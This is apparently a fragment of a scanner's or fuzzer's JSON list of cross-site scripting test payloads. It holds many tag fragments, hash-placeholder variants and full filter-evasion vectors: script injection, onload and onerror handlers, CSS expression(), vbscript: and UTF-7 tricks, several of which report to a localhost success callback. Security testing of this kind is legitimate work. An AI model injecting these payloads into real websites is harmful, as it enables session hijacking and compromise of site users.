      "&692920eb774c3c8b763c9f8a38d4555b\\\">\n",
      "&{42ef0f47abfc098f122c638214696d06};\n",
      "<a\n",
      "<IMG\n",
      "<OBJECT\n",
      "<!--\n",
      "![CDATA[<!--]]<SCRIPT>cf35e1174f9b78f307a976f2949e68c6//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>511760ca8cabcb53184641a766820e61//--></SCRIPT>\n",
      "<div\n",
      "<xml\n",
      "<XML\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><SCRIPT>alert('http://localhost:19084/success/c6f7e510509a26f5095cc588107d6e59')</SCRIPT>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/1b79ff91cfc7df87b084f63db4224d0a\")\";eval(a+b+c+d);\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\\\"><img\n",
      "\\\">dac635695028795b1027b7913618bbcb\n",
      "</TITLE>696cf7c28e9d3603fdaa115bf4d321fe\n",
      "'';!--\\\"<3053d29f58f10735cfd269508219236f>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('b7ee8e9aa933c976673130ccb0ad8e62')</SCRIPT>\n",
      "<BODY\n",
      "<IMG\n",
      "'';!--\\\"<e7ce2e37d659b76659b8beb269d490d2>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<<SCRIPT>705cf14091acc125f7da829bb938af6e//<</SCRIPT>\n",
      "\\\";eb8f4c77c38069676dc4c554296dcbc0//\n",
      "<IMG\n",
      "<BODY\n",
      "<INPUT\n",
      "<IMG\n",
      "<BODY\n",
      "<BGSOUND\n",
      "<IMG\n",
      "<IMG\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<DIV\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=49fe20709b3dee5ed61e93a0f8ddddab></iframe>\n",
      "<iframe/\n",
      "<iframe\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<iframe<?php\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<83cee8434d8492488caabfbe23500551\n",
      "<STYLE\n",
      "<STYLE>.542b200798bc07d038c92c86bbab417f{background-image:url(\\\"542b200798bc07d038c92c86bbab417f\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "<OBJECT\n",
      "<?\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"e63734034052e00b0535c724987222c6\\\")\\\";eval(a+b+c+d);\n",
      "<IMG\n",
      "<SCRIPT\n",
      "<META\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/52b29887ccfde9314db064aab6f1731f/alert(a.source)</SCRIPT>\n",
      "<SCRIPT\n",
      "<META\n",
      "<IFRAME\n",
      "<STYLE>li\n",
      "<LAYER\n",
      "<SCRIPT>a=/2ff930155dbad8c0d34bbbdce755b69f/n2ff930155dbad8c0d34bbbdce755b69f</SCRIPT>\n",
      "<HEAD><META\n",
      "<DIV\n",
      "<a\n",
      "<input\n",
      "&{c241568e3b02d1cf464f83b40d190a3b};\n",
      "&0771acc0584d11af3c6b17dad649764b\\\">\n",
      "<IMG\n",
      "<a\n",
      "<DIV\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>fbebe0244f9cb9e5dfec426100b60255//--></SCRIPT>\n",
      "<!--\n",
      "![CDATA[<!--]]<SCRIPT>cfac4ade78ccf638ba04ddb30fac5aec//--></SCRIPT>\n",
      "<XML\n",
      "<div\n",
      "<xml\n",
      "<form\n",
      "<select\n",
      "<input\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/e63734034052e00b0535c724987222c6\")\";eval(a+b+c+d);\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/b7ee8e9aa933c976673130ccb0ad8e62')</SCRIPT>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\\\"><img\n",
      "'';!--\\\"<c81a9cad128199a5f3e3a15648792169>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('74cba568a4ae4958f1786b32173520ba')</SCRIPT>\n",
      "\\\">efde5089d611b251903b0e8f289467b9\n",
      "<BODY\n",
      "</TITLE>d132759bc6d5aead00aebabcdb4a3d46\n",
      "'';!--\\\"<45ccf6920a14dcd045242aab81b4cbe6>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<IMG\n",
      "<IMG\n",
      "<<SCRIPT>0215384cc2b071c338655623a4dbcab4//<</SCRIPT>\n",
      "\\\";f28af33e66ca93c434597427d02e352d//\n",
      "<BODY\n",
      "<BODY\n",
      "<INPUT\n",
      "<IMG\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=51c61efa6e0a183e4dedb8a4c0c063d7></iframe>\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<e95e4edbc8091ade7dbb51af5a5e311e\n",
      "<STYLE\n",
      "<STYLE>.97c31524537fe4de278fcf8bb23a5a39{background-image:url(\\\"97c31524537fe4de278fcf8bb23a5a39\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<BASE\n",
      "<!--[if\n",
      "<OBJECT\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"0eb88e91954002ca02a4204bb30fe89d\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<?\n",
      "<IMG\n",
      "<SCRIPT\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "---\n",
      "<META\n",
      "<SCRIPT>a=/b0f781a96b1312f103a73cf888894033/alert(a.source)</SCRIPT>\n",
      "<IFRAME\n",
      "<SCRIPT\n",
      "<LAYER\n",
      "<SCRIPT>a=/3e13e70013c83d1486cf42cdf832ced7/n3e13e70013c83d1486cf42cdf832ced7</SCRIPT>\n",
      "<HEAD><META\n",
      "<DIV\n",
      "<STYLE>li\n",
      "<a\n",
      "<input\n",
      "&{473eae174627ab7277a0beed201c60be};\n",
      "&1637a880768c91cf18507845c17d9e9d\\\">\n",
      "<IMG\n",
      "<DIV\n",
      "<a\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>d70964b2ddc6d106040e75d21b12a492//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>b8f7a248b562e90143603eeb2ee4ec4b//--></SCRIPT>\n",
      "<!--\n",
      "<xml\n",
      "<div\n",
      "<form\n",
      "<XML\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video\n",
      "<video><source\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/0eb88e91954002ca02a4204bb30fe89d\")\";eval(a+b+c+d);\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><SCRIPT>alert('http://localhost:19084/success/74cba568a4ae4958f1786b32173520ba')</SCRIPT>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\\\">969c6b838b54d79a3e08337f97f3d9f0\n",
      "\\\"><img\n",
      "\\\"><SCRIPT>alert('fab65edc2c7a44bbb310ca459540e86e')</SCRIPT>\n",
      "'';!--\\\"<3395f81f068898daca65a531ee6f780e>=&{()}\\\"\n",
      "</TITLE>0148aee823fe8169fd9d0c54f946c7ef\n",
      "<BODY\n",
      "'';!--\\\"<98e2c644bccf6560fedb6c92f631f3d0>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<IMG\n",
      "<<SCRIPT>95078d93006621cf0aad5ab89fbda121//<</SCRIPT>\n",
      "\\\";bf8d95f41483b96ad0c1999396cd1247//\n",
      "<IMG\n",
      "<BODY\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<iframe/\n",
      "<IFRAME\n",
      "<DIV\n",
      "<iframe/\n",
      "<iframe///////onload=ea7448a56f18ec3cb9c6cdf7572bb607></iframe>\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe\n",
      "<FRAMESET><FRAME\n",
      "<iframe<?php\n",
      "<TABLE><TD\n",
      "<TABLE\n",
      "<DIV\n",
      "<DIV\n",
      "<504967dcde889eec0c80b75c13dce4f0\n",
      "<IMG\n",
      "<STYLE\n",
      "<STYLE>.c69861c9b17b9e04f880d3251ead4278{background-image:url(\\\"c69861c9b17b9e04f880d3251ead4278\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "<OBJECT\n",
      "<?\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"a307bd52e96c15186d0f75ec6627e37d\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/6d7e6cec963b91c946e561a31630982a/alert(a.source)</SCRIPT>\n",
      "<META\n",
      "---\n",
      "<SCRIPT\n",
      "<IFRAME\n",
      "<SCRIPT>a=/2d31eb30d4d7809ac0447f0abd2f2f07/n2d31eb30d4d7809ac0447f0abd2f2f07</SCRIPT>\n",
      "<STYLE>li\n",
      "<LAYER\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<input\n",
      "<a\n",
      "&0f24bae8e9ffe49814e7e69cd4159b72\\\">\n",
      "<IMG\n",
      "&{fcb5d0a430f6e082b2b140ca939d4b9a};\n",
      "<a\n",
      "<DIV\n",
      "<style><!--</style><SCRIPT>fcf47e39b84e03c8a40405792ebd4f3a//--></SCRIPT>\n",
      "<OBJECT\n",
      "![CDATA[<!--]]<SCRIPT>276955ceca3d402e5e3f4554145fb683//--></SCRIPT>\n",
      "<!--\n",
      "<xml\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/fab65edc2c7a44bbb310ca459540e86e')</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/a307bd52e96c15186d0f75ec6627e37d\")\";eval(a+b+c+d);\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\"><SCRIPT>alert('3deefbbefd5bd8be6942bef73efa7479')</SCRIPT>\n",
      "\">b613933360b873dca4af738d5d87ee8d\n",
      "\"><img src=\"x:x\" onerror=\"f44b3d9efbea2c927936c7802fe466c0\">\n",
      "'';!--\"<a5fe82f8df2c65246c6ec7351b08395f>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=33948788d9230b409c9ac177aeeb97d8>\n",
      "</TITLE>202e511cecd37bdedaccde1fe06104e0\n",
      "'';!--\"<218bd66f86102a5fe77f4e172a5b094a>=&{()}\"\n",
      "<IMG SRC=385aa5ff3fb693a27c5f111dd589f5fd>\n",
      "<IMG SRC=\"aa64c46e566ebacfa9b9716266c754b4\">\n",
      "<IMG SRC=`eee6d1c5c3ceff7d71a0e9947698585b`>\n",
      "<IMG SRC=\" &#14;  91d20e1a7915932d8fc084e08315d363\">\n",
      "<IMG \"\"\">73585bf8595ea20fcba24e4d7df029b3\">\n",
      "<DIV STYLE=\"behaviour: url(bdad3385e381474c28a4b67c0430f0ac);\">\n",
      "<<SCRIPT>b9e2090e0d1fc6c2f0bb6ba36e540d3b//<</SCRIPT>\n",
      "\";befb0e3348ac7213e8ce33a21dbfefcc//\n",
      "<IMG SRC='734693dc177e06f2186de42f7c4feda8'\n",
      "<BODY BACKGROUND=\"fdacea87d2e52f630415586f0ef574b3\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"db3491572c17befb8a7e0fbdb3aa168e\">\n",
      "<BODY ONLOAD=84991c25797fd10278c78099d33831a0>\n",
      "<IMG DYNSRC=\"2ec970cbc61c8070237c8eb42f3da616\">\n",
      "<IMG LOWSRC=\"23d95014be4a65a7f21cb76e8f3f7ae4\">\n",
      "<BGSOUND SRC=\"fdb965670e42d98fb407925ef79f68d1\">\n",
      "<BR SIZE=\"&{7273ccaf609f6d5ddba6e80fc90bebf6}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"a9dfbd7628e6a79ec023d3e6fe7aba42\">\n",
      "<IMG SRC='vbscript:90f537e20176a60b79da684a75f08768'>\n",
      "<IMG SRC=\"mocha:[1c9baf226f891a8a4f513c60251d2aaa]\">\n",
      "<IMG SRC=\"livescript:[feab0a6256ab1674123826ed998b52c1]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=4e64deeab0c75c855b8440e85147f047\">\n",
      "<TABLE BACKGROUND=javascript:574c987c109b7140b603643ee01405ca>\n",
      "<TABLE BACKGROUND=\"f0c495e338fd977d56b462c93dd56c7b\">\n",
      "<TABLE><TD BACKGROUND=\"5220c4abe1a745cd39a58ff9a0c909ec\">\n",
      "<DIV STYLE=\"background-image: url(28dd5220b84c21fd6973dc51a01db2ba);\">\n",
      "<DIV STYLE=\"width: expression(4f13a915f8418175e9702a4ff7d37d09);\">\n",
      "<IFRAME SRC=\"dd6c1f1eb55305f0b9206647afa9c293\"></IFRAME>\n",
      "<iframe/ /onload=72a5ebf8731b480b5e6769078af0d6b6></iframe>\n",
      "<iframe/ \"onload=f1899fb06dd5e72f85e05db0f7ca03f3></iframe>\n",
      "<iframe///////onload=7611d9396912b534f7dd3276add5aa7d></iframe>\n",
      "<iframe \"onload=66380dacf5d9a6577e676f4ccff24e10></iframe>\n",
      "<iframe/ \"onload=6494bbc5494d4a729110825cfdd35e19></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=a123bd01f8e6dde2edeb3592c88d420b></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=41cf5793d0143aba8bf21babd6dbe6ba></iframe>\n",
      "<TABLE BACKGROUND=\"d816ba6ef393e76cd74145a6ed01cf94\">\n",
      "<FRAMESET><FRAME SRC=\"2577e5835b4c6cc66b14bfa09a0b8ff9\"></FRAMESET>\n",
      "<TABLE><TD BACKGROUND=\"aa7034e78cc369efd4f1aa84934a176a\">\n",
      "<DIV STYLE=\"background-image: url(&#1;517df4764dc5055972596f0379758bf9)\">\n",
      "<DIV STYLE=\"width: expression(c100305444408ba86878bacc224ce4b9);\">\n",
      "<IMG STYLE=\"xss:expr/*2f65f1383538719c206d88ce4b357ca4*/ession(2f65f1383538719c206d88ce4b357ca4)\">\n",
      "<1e0253707eb82e83bf97d671768d0a92 STYLE=\"xss:expression(1e0253707eb82e83bf97d671768d0a92)\">\n",
      "<STYLE TYPE=\"text/javascript\">aee8d4afd4ca05f92d0d3f13a54c854c</STYLE>\n",
      "<STYLE>.22b7345485083973e9764cf244be26b5{background-image:url(\"22b7345485083973e9764cf244be26b5\");}</STYLE><A CLASS=22b7345485083973e9764cf244be26b5></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"5307de5fef798b3c806df1b5198c9976\")}</STYLE>\n",
      "<!--[if gte IE 4]>826d19ee7885d42aa1f36b9fb47eab8c<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=6139714dc769ab634b71b0237e9e127c></OBJECT>\n",
      "<BASE HREF=\"72cea69c3406523c189a79df9c8f1848//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"8d3b45ad3ae8ab9aa3348d89d2de1df4\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>3d9c7f54ef02ef5f74bca5992de57596</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;2da96cd6650e9d4e486d3c8b131004cc&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>8d2727a390ed3e91ae99e02192a42dc8</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:f3ced472d8489e5084e6b3ed226c3f26\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:72b32a2f3e5b556d7865b16e15601b65\">\n",
      "--- <IMG SRC=\" &#14;  d4a0139fc544acd9585491d47ee4535d\">\n",
      "--- <IMG SRC=\"5fc017777896282ea686891106c1f2fb\"\n",
      "--- \";17637c0ef7d4d1b2ce814204e88b06d0;//\n",
      "<SCRIPT <B>=1c7db4806aa37c2bad41b49636d02ae4\"></SCRIPT>\n",
      "<SCRIPT>a=/6645188abc04e0c8ba3cc6b06989cd69/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=7313ebdd14883dbbe8f1eb980d507ff5\">\n",
      "<IFRAME SRC=\"javascript:0d736f4d56a4d70619d9d58a9a95679a <\n",
      "<SCRIPT>a=/009c1b3eba8a9b7b40d70c8ed71e8f63/n009c1b3eba8a9b7b40d70c8ed71e8f63</SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"9958389d8617387d3bd2d56dd690ddb9</STYLE><UL><LI>9958389d8617387d3bd2d56dd690ddb9\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:8ffb2257dffbafe1d424ae3bab994728\">\n",
      "<LAYER SRC=\"javascript:31e39713f6b9b8e4ebf2f79e01f53fd0></LAYER>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-953022b6ecb4599f44cec7131488b436+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"324437cbbdd32a53e0cc62fa13e2d394\">\n",
      "&71505d857edafc9867b5702669d66e33\">\n",
      "<a href=\"javascript#a62e4ecddb70bcbd22467f63b9c98c1a\">\n",
      "&{737af54c562ac8ffdd4a13781e40ea02};\n",
      "<IMG SRC=&{75d5d998164846e5a2aa1ea39594380f};>\n",
      "<a href=\"about:b4b8fce9d93d1205bd10c22008e22283\">\n",
      "<DIV STYLE=\"binding: url(javascript:db7a251b0f58c7e7fae50a1659d58e77);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:2167dccb33d9f4580ea59d3e622b254d\">\n",
      "<style><!--</style><SCRIPT>76cff4efef133bef8aabc00a83d22d53//--></SCRIPT>\n",
      "<!-- -- -->b326cf675a57b35673880268eac13bd2<!-- -- -->\n",
      "![CDATA[<!--]]<SCRIPT>b64ebb965a3a44d56fd54fbf76a2796b//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>c2a0e5388286948b536fc651cc683912;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#c0ef7f50948f000ff39e0980d0280746\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:b4a22c162d8be9b61d1cbbf9a1ce244a\">]]</C><X></xml>\n",
      "<select onfocus=javascript:7f8aab010f7b23c7bd5632c09321d891 autofocus>\n",
      "<textarea onfocus=javascript:413877a88898855ef360c56a7be5a8b2 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:7238ff43461479dde1687603d0404ce9\">X\n",
      "<keygen onfocus=javascript:87b486279977ed242c5a9a5876af72da autofocus>\n",
      "<input onfocus=javascript:2409acf82d7c440fa7b81678c13b94c0 autofocus>\n",
      "<input onblur=javascript:ccf1882cb5faea164a79d1b8f33c35d6 autofocus><input autofocus>\n",
      "<video poster=javascript:d65901ee43e4a4ef96c6d79e56373b11//\n",
      "X<form id=test onforminput=javascript:bc42953a2190da60742e6b3b22f6e54f><input></form>\n",
      "<body onscroll=f64c9bcc86ee604b01754432a28a378d><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:6854a9d1bd558c2c8de2021c16c97a0e\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:5c9d97f2064621c99846bd6e53bd35f0>X\n",
      "<video onerror=\"javascript:7f21c8fda73a92a7e2a93f3df0e3963e\"><source>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/f44b3d9efbea2c927936c7802fe466c0\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=http://localhost:19084/success/385aa5ff3fb693a27c5f111dd589f5fd>\n",
      "<IMG SRC=\"http://localhost:19084/success/aa64c46e566ebacfa9b9716266c754b4\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC='http://localhost:19084/success/734693dc177e06f2186de42f7c4feda8'\n",
      "<IMG SRC=`http://localhost:19084/success/eee6d1c5c3ceff7d71a0e9947698585b`>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/feab0a6256ab1674123826ed998b52c1]\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/2ec970cbc61c8070237c8eb42f3da616\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/fdacea87d2e52f630415586f0ef574b3\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/22b7345485083973e9764cf244be26b5\");}</STYLE><A CLASS=XSS></A>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/3deefbbefd5bd8be6942bef73efa7479')</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/a9dfbd7628e6a79ec023d3e6fe7aba42\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/f0c495e338fd977d56b462c93dd56c7b\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/90f537e20176a60b79da684a75f08768'>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/1c9baf226f891a8a4f513c60251d2aaa]\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/d816ba6ef393e76cd74145a6ed01cf94\">\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/5220c4abe1a745cd39a58ff9a0c909ec\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
